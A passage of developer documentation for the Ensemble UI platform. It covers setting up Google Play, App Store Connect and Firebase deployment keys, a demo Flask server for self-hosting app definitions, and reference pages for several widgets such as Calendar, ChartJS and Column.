- ensemble/apps/``/config/ + ``` + NOTE: Only add the existing paths under assets and replace `` with the name of you app folder. + +## 5. Rebuild your app + +Now you can follow the steps for iOS or Android to run the app locally or build and upload your app to the respective app stores. + +--- + +# Guide: Generating Google Play Console API Key + +## Overview + +This guide outlines the steps to generate a Google Play Console API Key, enabling seamless deployment of APKs or App Bundles directly to the Google Play Store. Make sure to follow these steps sequentially for a smooth process. + +**Note:** Before using the Google API for direct app uploads, you must manually upload at least one build to Google Play Console. However, the build system can still be used to obtain the APK/App Bundle for subsequent uploads. + +## Steps for Creating Google Play API Key + +1. **Log in to Google Cloud Console:** + - Open [Google Cloud Console](https://console.cloud.google.com/). + - Ensure you are logged in with the same account as your Google Play Console. + - If needed, switch accounts by clicking on the avatar. + +2. **Select Google Play Console Developer:** + - Confirm that your account is set to `Google Play Console Developer` in the dropdown menu (located right of the Google Cloud Console logo). + +3. **Access APIs & Services:** + - Select `APIs & Services` from Quick Access. If not visible, use the search bar in the top center. + +![Google Cloud Console Home screen](public/images/deploy/b88f2d9e-8959-4c03-aa3d-b30b3aac56da.png) + +4. **Navigate to Credentials:** + - In the left panel, click on `Credentials`. + +5. **Create Service Account:** + - Click on `+ Create Credentials` at the top, then select `Service Account`. + - Provide a name for the service account (memorable for identification). + - Click `Create and Continue`. + +![Add Credentials](public/images/deploy/2f64dff5-5657-40dd-9461-e79eb5ccb6aa.png) + +6. **Define Role:** + - Choose the role as `Service Account User`. + - Click `Done` to create the API Key. + +![Select adequate role](public/images/deploy/81cb60a6-acac-41d4-b18b-53faceaa2bd6.png) + +7. **Copy Email Address:** + - Copy the email address of the created key (will be needed later). + +8. **Manage Key:** + - Click on the edit icon in the Action row, select `Manage Key`. + +![Manage Key](public/images/deploy/da4986fe-311c-4080-87cc-240b119fbce2.png) + +9. **Generate JSON Key File:** + - In the `Keys` tab, click on `Add Key`, then `Create new key`. + - Choose `JSON` and click `Create`. + - Save the downloaded `.json` file securely. + +![Download json key](public/images/deploy/0cede178-01ac-4fe8-841d-25e59067f9ec.png) + +**Note:** This key needs to be linked to Google Play Console before use. + +10. **Link Key to Google Play Console:** + - Open [Google Play Console](https://play.google.com/console/) and go to `Users and Permissions` in the sidebar. + +11. **Invite New Users:** + - Click on `Invite New Users` and paste the email address saved in step 7. + +![Invite new user](public/images/deploy/bd4df269-e351-4dad-a82d-acb45bc99801.png) + +12. **Set App Permissions:** + - In the App Permissions tab, select the apps for direct upload using the build system. + +![App Permissions](public/images/deploy/e2294e7f-01e2-4223-a378-9851fc34b1fe.png) + +13. **Configure Account Permissions:** + - In the `Account Permissions` tab, check relevant options under `App Access` and `Releases`. + +![Account permissions 1](public/images/deploy/41ae9244-7dd3-4ba5-b7bf-26068bd85ac7.png) +![Account permissions 2](public/images/deploy/5fd3b828-cfd9-4be8-9b21-54125c38a09e.png) + +14. **Send Invite:** + - Click on `Invite User`, then `Send Invite` to link the generated key with the apps successfully. + +Follow these steps diligently to ensure a hassle-free setup of your Google Play Console API Key. + +--- + +# Guide: Generating API Key for App Store Connect + +## Overview + +This guide provides step-by-step instructions on generating an API key for App Store Connect. This key allows you to interact programmatically with App Store Connect which would be required for deploying apps directly to App Store Connect using Build System. + +**Note:** Ensure you have the necessary App Store Connect account permissions to generate API keys. + +## Steps for Creating API Key + +1. **Navigate to App Store Connect:** + - Visit [App Store Connect](https://appstoreconnect.apple.com/). + +2. **Log in to Your Account:** + - Log in with your App Store Connect credentials. + +3. **Access API Keys Section:** + - From the homepage, navigate to the `Users and Access` section. + +4. **Select API Keys:** + - Click on the `Keys` option from the top. + +5. **Generate a New API Key:** + - Click on the `+` button. + +![Keys section](public/images/deploy/a1622af9-6bc4-44e8-9d40-01ecaa802e38.png) + +6. **Fill in the Details:** + - Provide a name for your API key. It will be useful to identify your key later on. + - Choose `App Manager` in the access part of the dialog. + +![API Key form](public/images/deploy/63059213-709b-4686-84ab-7293398951e1.png) + +7. **Generate the Key:** + - Click on the `Generate` button to create the API key. + +8. **Download and Store the Key:** + - There will be a `Download` button for the newly generated key. Download the `.p8` file which is the API key. + - Safely store the key file, as it cannot be downloaded again. + +![Download the generated API Key](public/images/deploy/4998013e-c189-4289-97b9-e4a6fb61038a.png) + +9. **Copy Key ID and Issuer ID:** + - Copy the `Key ID` for the generated key. Also, copy the `Issuer Id` at the top. + - They both will be required later on in the build system. + +Follow these steps to successfully generate an API key for App Store Connect, allowing seamless integration with the Build System. + +--- + + +# Guide: Generating a Firebase Service Account for App Distribution + +## Overview + +This guide outlines the steps to generate a Firebase Service Account with the necessary permissions to use the Firebase App Distribution API for seamless app distribution. + +--- + +## Steps for Creating a Firebase Service Account + +### 1. Log in to Firebase Console + +- Open the [Firebase Console](https://console.firebase.google.com/). +- Ensure you are logged in with the account associated with your Firebase project. + +### 2. Navigate to Project Settings + +- Select your project by clicking on its name in the top-left corner. +- From the dropdown menu, select **Project Settings**. +- Select the **Service accounts** tab +- Click the **X service accounts** button to open the Google Cloud Platform interface. + +![Firebase Service Accounts Button](public/images/deploy/firebase_service_accounts_button.png) + +--- + +### 3. Create a New Service Account + +#### a. Access Service Accounts + +- In the Google Cloud Platform, navigate to the **Service Accounts** section. +- Click the **Create Service Account** button. + +![Create Service Account Button](public/images/deploy/service-account.png) + +#### b. Fill in Service Account Details + +- **Step 1**: Enter the Service Account name and description. This helps you identify the account later and click **Create**. +- **Step 2**: Click the **Select a role** dropdown and choose **Firebase App Distribution Admin** and Click **Continue**. +- **Step 3**: Leave additional fields blank and click **Done**. + +--- + +### 4. Manage Service Account Keys + +#### a. Locate Your Service Account + +- In the list of service accounts, find the one you just created. +- Click the menu in the **Actions** column and select **Manage keys**. + +![Manage Keys Button](public/images/deploy/google_cloud_three.png) + +#### b. Create a New Key + +- In the **Keys** section, click **Add Key > Create new key**. +- Select **JSON** as the key type and click **Create**. +- Download the JSON key file and save it in a secure location. + +![Download JSON Button](public/images/deploy/google_cloud_four.png) + +--- + +### 5. Upload the JSON Key to Ensemble Studio + +- Return to Ensemble Studio. +- Upload the JSON key file to the **Firebase App Distribution** configuration in the **Build & Deploy** page. + +--- + + +# Host and serve your app definition on your own server + +Ensemble automatically serves your application definition (EDL). It also allows you to take the EDL from Ensemble studio and serve it from your own server. + +> [!NOTE] +> You must have owner or editor permission to download the app. + +> [!NOTE] +> Do not change any filename, extension or location of file. + + +### Serve the files + +> [!NOTE] +> The server code present here is just for demo purpose. + + +```python +from flask import Flask, abort, Response +import os + +app = Flask(__name__) + +BASE_DIR = '' + +@app.route('') + +@app.route('//') +def serve_file(app, filepath): + safe_app = os.path.normpath(app) + safe_filepath = os.path.normpath(filepath) + + full_path = os.path.join(BASE_DIR, safe_app, safe_filepath) + + if not full_path.startswith(os.path.join(BASE_DIR, safe_app)): + abort(403, "Access denied") + + if os.path.isfile(full_path): + with open(full_path, 'rb') as f: + content = f.read() + return Response(content, mimetype='text/plain; charset=utf-8') + else: + abort(404, description="Resource not found") + +if __name__ == '__main__': + app.run(debug=True, host='0.0.0.0', port=5001) + +``` +fyi: This server code is used to serve static files of your application and you can run this by simply `python filename.py` + +`BASE_DIR` is where all the downloaded from from download app button are available. +Here just make sure, the file serving route of your server can take filepath as parameter. +`filepath` can be `Home.yaml` or `i18n/en.yaml`. + + +### Configure the client app +> [!NOTE] +> Make sure your file serving server is live. + +Go to your `ensemble-config.yaml` under your `ensemble` directory in your client application. + +```yaml +definitions: + from: remote # here change local or ensemble to remote + + remote: + path: https://your-domain.com + appId: + appHome: + i18nPath: https://your-domain.com/appId/i18n +``` + + + +--- + + +# Accordion Widget + +The `Accordion` widget allows you to display a list of items in an accordion-style UI, where individual sections can be expanded or collapsed. This widget is highly customizable, offering options for styling the headers and bodies, controlling the behavior of sections (whether multiple sections can be open at once), and customizing animations and icons. + +## Key Properties and Features + +- **Accordion Mode**: The `limitExpandedToOne` property determines whether only one section can be open at a time (accordion mode) or multiple sections can be open simultaneously. Defaults to `true`. +- **Initial Opening Sequence Delay**: The `initialOpeningSequenceDelay` property allows you to add a delay (in milliseconds) before the initial opening of the sections. +- **Section Styling**: The `headerStyle` and `bodyStyle` properties allow you to customize the appearance of the header and body sections, respectively. +- **Icons**: You can add icons to the left and right of each section using `leftIcon` and `rightIcon`, and choose whether they flip when the section is opened or closed. +- **Padding and Spacing**: Control padding inside sections and spacing between sections using properties like `paddingListTop`, `paddingListBottom`, `paddingListHorizontal`, `paddingBetweenOpenSections`, and `paddingBetweenClosedSections`. Default values for padding are `0.0`. +- **Animations**: Customize the opening and closing animations of the sections with `openAndCloseAnimation` and `scaleWhenAnimating`. Both default to `true`. +- **Scrolling**: Disable scrolling for the accordion using the `disableScrolling` property. Defaults to `false`. + +--- + + +# Avatar widget + +The Avatar Widget provides a visual representation of a user or entity, typically used in user interfaces to personalize user experience. + +--- + + +# Button widget + +A control that can execute an action on tap or click. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | +| label | string | The button label | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| submitForm | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE | +| onTap | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code | +| onTapHaptic | enum | The type of haptic to perform when button is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| endingIcon | object | Icon placed behind the label, according to device text alignment | +| startingIcon | object | Icon placed in front of the label, according to device text alignment | +| gap | integer | The gap between the starting icon and ending icon | + +### Styles + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | +| outline | boolean | Whether the button should have an outline border instead of filled background | +| color | [integer or string](#Color) | Set the color for the button label starting with '0xFF' for full opacity. `transparent`, `black`, `blue`, `white`, `red`, `grey`, `teal`, `amber`, `pink`, `purple`, `yellow`, `green`, `brown`, `cyan`, `indigo`, `lime`, `orange` | +| labelStyle | object | An object that determines the size, color, and decoration of text | + +### Box Styles (Inherited) +This widget also inherits these styles + +--- + +# Calendar widget + +[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s) + +| Attribute | Description | +|--------------------|-----------------------------------------------------------------------------------------------| +| rowHeight | Sets the height of each row in the calendar to a specified value (120 in this case). | +| tooltip | Displays a tooltip with information about the focused date, providing guidance on interaction.| +| headerTextStyle | Defines the text style for the calendar header, controlling its font size. | +| firstDay | Sets the first day of the calendar based on the current date. | +| range | Manages the selection of date ranges, allowing actions to be performed when a range is completed.| +| cell | Configures the style and alignment of individual calendar cells. | +| selectCell | Specifies the appearance of the selected cell in the calendar. | +| markCell | Determines the style of marked cells in the calendar. | +| todayCell | Customizes the appearance of cells representing the current date. | +| disableCell | Defines the style of disabled cells in the calendar, typically with a line-through decoration.| +| rowSpans | Configures the display of events spanning across multiple days, providing a clickable button. | + + +### Row Span in detail + +Row spans are widget, this widget span across multiple cell (Date). +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or storgae | +| name | string | Set the name to reference as you iterate through the array of data | +| span | | [Span detail](#Span) | + +#### Span +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| start | string, DateTime | Starting date of span | +| end | string, DateTime | Ending date of span | +| widget | | The widget to render for each item | + + +### Methods +| Function | Args | Description | +| ---| ---| --- | +|update() | | Refresh the calendar if required. Note calendar will automatically on calling any below functions | +| clearRange() | | Clear range entire range selection with this function. | +|selectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as selected | +|selectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as selected| +|unSelectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-selected | +|unSelectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-selected| +|toggleSelectCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between selected and unselected with given dates +|markCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as marked | +|markStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as marked| +|unMarkCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-mark | +|unMarkStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-marked| +|toggleMarkCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between mark and unMark with given dates +|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | +|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | +|enableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as enabled | +|toggleDisableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between enable and disabled cells with given dates | + +#### Exploring the [Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s), let's delve into the process that repeats as users interact with the app, triggering events and updating the UI based on the defined logic and configurations. + +Upon the View's loading, we initiate the following code block: +```yaml +executeCode: + body: |- + ensemble.storage.events = generateEvents(); +``` +This loads in all hardcoded objects within the `generateEvents()` function, as outlined in the `Global: |-` block. + +A notable quirk is encountered when dealing with bindings – setting storage to something (even itself) triggers them. The Calendar example illustrates this perfectly: +```yaml +executeCode: + body: |- + var newEvent = {'start_date': calendar.rangeStart, 'end_date': calendar.rangeEnd, 'title': nameInput.value, 'detail': descInput.value}; + ensemble.storage.events.push(newEvent); + ensemble.storage.events = ensemble.storage.events; + console.log(ensemble.storage.events); + onComplete: + navigateBack: +``` +Here, we start by appending/pushing our new event into our `ensemble.storage.events` array. However, to activate the binding for the updated array, we set it equal to itself, completing the cycle. + +--- + + +# Carousel widget + +The Carousel Widget allows you to create and render carousels, enabling the presentation of multiple items in a visually engaging and interactive slideshow format within your application. + +--- + + +# ChartJS widget + +The ChartJS widget renders a chart by leveraging the open-source library [chartjs.org](https://www.chartjs.org/). + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/5d7b84de-3bbd-456e-aeea-98e2c9f4c3c7) + + +## Basic example + +The primary property required for ChartJs widget requires is `config`. + +```yaml filename="source" +View: + body: + Column: + children: + - ChartJs: + onTap: + eexecuteCode: + body: | + console.log(event.data); + config: | + { + "type": "pie", + "data": { + "labels": ["Red", "Blue", "Yellow"], + "datasets": [{ + "data": [300, 50, 100], + "backgroundColor": [ + "rgb(255, 99, 132)", + "rgb(54, 162, 235)", + "rgb(255, 205, 86)" + ] + }] + } + } +``` + + +## Replace chart's data with new data + +You can change the entire data of a chart using `setData` method: + +1. Add an id to your chart widget. +2. Use `setData` replace data. +3. Use `update` to redraw the chart. + + +```yaml filename="source" +View: + + body: + Column: + styles: + padding: 100 0 + gap: 16 + crossAxis: center + children: + - Text: + text: Energy Sources + styles: + textStyle: + fontSize: 20 + - ToggleButton: + styles: + spacing: 10 + runSpacing: 10 + color: black + selectedColor: white + backgroundColor: white + selectedBackgroundColor: green + selectedBorderColor: blue + borderColor: green + items: + - Your home + - Others + value: "Your home" + onChange: | + if (this.value == "Your home") { + energySourceChart.setData(0, [60,10,20,10]); + energySourceChart.update(); + centerText.text = "60%"; + } else { + energySourceChart.setData(0, [20,40,50,20]); + energySourceChart.update(); + centerText.text = "10%"; + } + + - Stack: + styles: + alignChildren: center + children: + - ChartJs: + styles: + width: ${ device.width } + height: ${ device.width } + id: energySourceChart + config: ${ setEnergyChartConfig([60,10,20,10])} + - Column: + styles: { crossAxis: center, mainAxis: center } + children: + - Text: + text: Green energy + styles: + textStyle: + color: 0xff969BA1 + fontSize: 12 + - Text: + id: centerText + text: 60% + styles: + textStyle: + fontSize: 32 + textAlign: end + + +Global: |- + + function setEnergyChartConfig (data) { + return ({ + "type": 'doughnut', + "data": { + "labels": ["Green", "Coal", "Gas", "Oil"], + "datasets": [{ + "data": data, + "backgroundColor": ['#4BC22F','#474747','#FFBE0A', '#6933FF'], + "hoverOffset": 30, + "borderWidth": 0 + }] + }, + "options": { + "responsive" : true, + "aspectRatio": 1, + "cutout": 80 , + "plugins": { + "legend": { + "display": false + }, + "tooltip": { + "enabled": true, + "position": "nearest" + }, + "labelInsideCircumference": { + "font": { + "size": '11', + "weight": 'normal' + }, + "color": '#000', + "space": 40, // Space between label and circumference + "labelPadding": 10, // Padding on the left and right of the label inside the box + "boxHeight": 30, // Height of the label box + "borderRadius": 4, // Border radius for the label box + "iconOffset": 15 // Horizontal offset for the icon inside the box, + } + }, + "layout": { + "padding": 80 + } + }, + "plugins": [{ + "id": 'labelInsideCircumference', + "beforeDraw": function (chart) { + var labels = chart.data.datasets[0].data; + var colors = chart.data.datasets[0].backgroundColor; + var ctx = chart.ctx; + var width = chart.width; + var height = chart.height; + var labelConfig = chart.options.plugins.labelInsideCircumference; + + ctx.restore(); + ctx.font = labelConfig.font.size + 'px ' + labelConfig.font.weight; + ctx.fillStyle = labelConfig.color; + ctx.textBaseline = 'middle'; + + var total = chart.config.data.datasets[0].data.reduce(function (acc, val) { + return acc + val; + }, 0); + var startAngle = -0.54 * Math.PI; + var endAngle = startAngle; + + // unicodes for the icons + var iconUnicodes = ['🍃', '🪨', '🔥', '🛢️']; + var text = ["Green", "Coal", "Gas", "Oil"]; + + for (var i = 0; i < labels.length; i++) { + var angle = (chart.data.datasets[0].data[i] / total) * (2 * Math.PI); + endAngle += angle; + + var x = width / 2 + Math.cos((startAngle + endAngle) / 2) * (width / 2 - labelConfig.space); + var y = height / 2 + Math.sin((startAngle + endAngle) / 2) * (height / 2 - labelConfig.space); + + var label = text[i] + " " + labels[i].toString() +"%"; + var labelWidth = ctx.measureText(label).width; + var icon = iconUnicodes[i]; + var iconWidth = ctx.measureText(icon).width; + + var contentWidth = labelWidth + iconWidth + labelConfig.labelPadding * 2; // Icon width + label width + padding + var boxWidth = Math.max(contentWidth, 70); // Ensure a minimum box width + + var boxHeight = labelConfig.boxHeight; + var borderRadius = labelConfig.borderRadius; + + // Set label color to match area color + ctx.fillStyle = colors[i]; + + // Calculate box position + var boxX = x - boxWidth / 2; + var boxY = y - boxHeight / 2; + + // Draw label box + ctx.beginPath(); + ctx.moveTo(boxX + borderRadius, boxY); + ctx.lineTo(boxX + boxWidth - borderRadius, boxY); + ctx.quadraticCurveTo(boxX + boxWidth, boxY, boxX + boxWidth, boxY + borderRadius); + ctx.lineTo(boxX + boxWidth, boxY + boxHeight - borderRadius); + ctx.quadraticCurveTo(boxX + boxWidth, boxY + boxHeight, boxX + boxWidth - borderRadius, boxY + boxHeight); + ctx.lineTo(boxX + borderRadius, boxY + boxHeight); + ctx.quadraticCurveTo(boxX, boxY + boxHeight, boxX, boxY + boxHeight - borderRadius); + ctx.lineTo(boxX, boxY + borderRadius); + ctx.quadraticCurveTo(boxX, boxY, boxX + borderRadius, boxY); + ctx.closePath(); + ctx.fillStyle = '#fff'; + ctx.strokeStyle = "#fff"; + ctx.lineWidth = 1; + ctx.fill(); + ctx.stroke(); + + // Draw icon + ctx.font = '13px'; + ctx.fillStyle = '#9DAEC1'; + ctx.textAlign = 'center'; + ctx.textBaseline = 'middle'; + ctx.fillText(icon, x - (labelWidth + labelConfig.labelPadding) / 3, y); + + // Draw label text + ctx.font = '15px'; + ctx.fillStyle = "black"; + ctx.fillText(label, x + (iconWidth + labelConfig.labelPadding) / 2, y); + + ctx.canvas.style.zIndex = 100; + startAngle = endAngle; + } + + ctx.save(); + } + }] + }); + } + +``` +```yaml filename="source" +View: + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Add Data + onTap: + executeCode: + body: | + testLineChart.addLabels(['July','August','September']); + testLineChart.addData(0,[20,30,40]); + testLineChart.addData(1,[5,45,25]); + testLineChart.update(); + - ChartJs: + id: testLineChart + styles: + width: ${device.width} + config: | + { + type: 'line', + data: { + labels: [ + 'January', + 'February', + 'March', + 'April', + 'May', + 'June' + ], + datasets: [ + { + label: 'My First dataset', + backgroundColor: [ + 'rgba(255, 99, 132, 0.2)', + 'rgba(54, 162, 235, 0.2)', + 'rgba(255, 206, 86, 0.2)', + 'rgba(75, 192, 192, 0.2)', + 'rgba(153, 102, 255, 0.2)', + 'rgba(255, 159, 64, 0.2)' + ], + borderColor: [ + 'rgba(255,99,132,1)', + 'rgba(54, 162, 235, 1)', + 'rgba(255, 206, 86, 1)', + 'rgba(75, 192, 192, 1)', + 'rgba(153, 102, 255, 1)', + 'rgba(255, 159, 64, 1)' + ], + borderWidth: 1, + data: [0, 10, 5, 2, 20, 45], + fill: 'start' + },{ + label: 'My Second dataset', + backgroundColor: [ + 'rgba(255, 99, 132, 0.2)', + 'rgba(54, 162, 235, 0.2)', + 'rgba(255, 206, 86, 0.2)', + 'rgba(75, 192, 192, 0.2)', + 'rgba(153, 102, 255, 0.2)', + 'rgba(255, 159, 64, 0.2)' + ], + borderColor: [ + 'rgba(255,99,132,1)', + 'rgba(54, 162, 235, 1)', + 'rgba(255, 206, 86, 1)', + 'rgba(75, 192, 192, 1)', + 'rgba(153, 102, 255, 1)', + 'rgba(255, 159, 64, 1)' + ], + borderWidth: 1, + data: [5, 12, 7, 0, 18, 25], + fill: 'start' + } + ] + }, + options: { + scales: { + x: { + ticks: { + maxRotation: 0, + minRotation: 0 + } + } + }, + plugins: { + filler: { + propagate: false, + } + }, + interaction: { + intersect: false, + }, + tension: 0.4 + } + } + +``` +```javascript +myChart.setData(0, [60, 10, 20, 10]); +``` +```javascript +myChart.addLabels(["January", "February", "March"]); +``` +```javascript +myChart.addData(0, [10, 20, 30]); +``` +```javascript +myChart.update(); +``` + +--- + + +# Checkbox widget + +The Checkbox widget allows the rendering of checkbox input elements, enabling users to select or deselect options within your application for convenient and interactive data manipulation. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| value | boolean | true if checkbox is checked else otherwise | +| autoComplete | boolean | Enable the Input search suggestion option | +| items | array | List of values, or Objects with value/label pairs | +| leadingText | string | Sets the text displayed before the checkbox | +| trailingText | string | Sets the text displayed after the checkbox | + +### Styles + +#### Common Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | + +#### Stack Position Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | + +#### Border Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | + +#### Padding Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| contentPadding | integer or string | Padding around your input content with CSS-style notation, e.g., margin: 5 20 5. | + + + +### Box Styles (Inherited) +This widget also inherits these styles + +--- + +# Column widget + +Column is designed to arrange child widgets vertically, where the intrinsic sizes of child widgets dictate the layout's appearance. + +## Best Practices + +- If a single vertical scrollbar is needed for the entire screen, consider using `scrollableView: true` at the `View` level. +- If the entire screen's vertical space is used without a need for scrolling (or if the scrolling is inside some nested section), considered using FlexColumn](/widgets/flex-column.md) to fill the entire vertical space. +- Use Column to lay out the children vertically from top to bottom. Enable scrollable if the children might exceed the available space. +- **Avoid** using child widgets with no height constraint or sized itself to the parent inside the Column. +- **Avoid** using nested scrollable Column for better UX. + +## Key Concepts +- **mainAxisSize**: By default the height of a Column is determined by its parent's height constraint (if available), otherwise it will be the combined height of its children. You may force the Column to do the later (size itself to the children's combined height) with `mainAxisSize=min`. Note that a Column does not pass a height constraint to its children, so a Column inside another Column will always size itself to its children. +- **mainAxis**: This property controls the vertical alignment of the children within the Column. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. +- **crossAxis**: This property controls the horizontal alignment of the children within the Column. +- **scrollable**: Enable vertical scrolling when the child widgets grow wider than the available space. + +## Caveats +- **Column width**: Note that setting a width for a Column acts more like a maximum width constraint. The Column determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. +If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) + +## Reference +#### Properties + +| Property | Type | Description | +| :------------ |:---------------------------------------|:--------------------------------------------------------| +| children | [Widget[]](widgets/directory) | List of child widgets | +| item-template | [ItemTemplate](#item-template) | List of templated widgets, appearing after the children | +| styles | object | [See properties](#styles) | + +#### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | widget | The widget to render for each item | + +#### styles + +| Property | Type | Description | +| :--------------------------- |:-----------------------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | +| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | +| scrollable | boolean | Set to true so content can scroll vertically as needed | +| autoFit | boolean | Explicitly make the column's width as wide as the largest child, but only if our column's parent does not already assign a width. This attribute is useful for sizing children who don't have a width (e.g Divider) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur 